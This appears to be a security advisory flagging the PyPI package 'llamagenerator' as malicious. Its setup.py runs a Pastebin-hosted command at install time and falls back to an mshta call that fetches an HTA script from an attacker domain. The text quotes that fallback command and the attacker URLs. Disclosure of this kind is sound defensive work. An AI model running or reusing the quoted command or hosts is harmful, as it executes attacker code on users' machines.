MAL-2026-5771 Malicious code in llamagenerator (PyPI)

The package's setup.py fetches the raw contents of https://pastebin.com/raw/yBcUM1QB during pip install, takes the first line, and passes it directly to os.system('cmd /c "…"'). If the Pastebin fetch fails, it falls back to os.system('cmd /c "mshta http://fixars.top"'), invoking the Windows mshta living-off-the-land binary to download and execute an HTA script from an attacker-controlled domain over plaintext HTTP. Both branches grant the publisher arbitrary code execution on the installer's machine on pip install. The package has no legitimate functionality: PKG-INFO has placeholder metadata (Name/Author/Summary all set to 'LLamaGenerator', no description, no URL), and the src/ tree is empty aside from egg-info. The LLM-themed name appears to be a lure trading on the Llama ecosystem.

During installation, the code attempts to download and start a malicious executable.
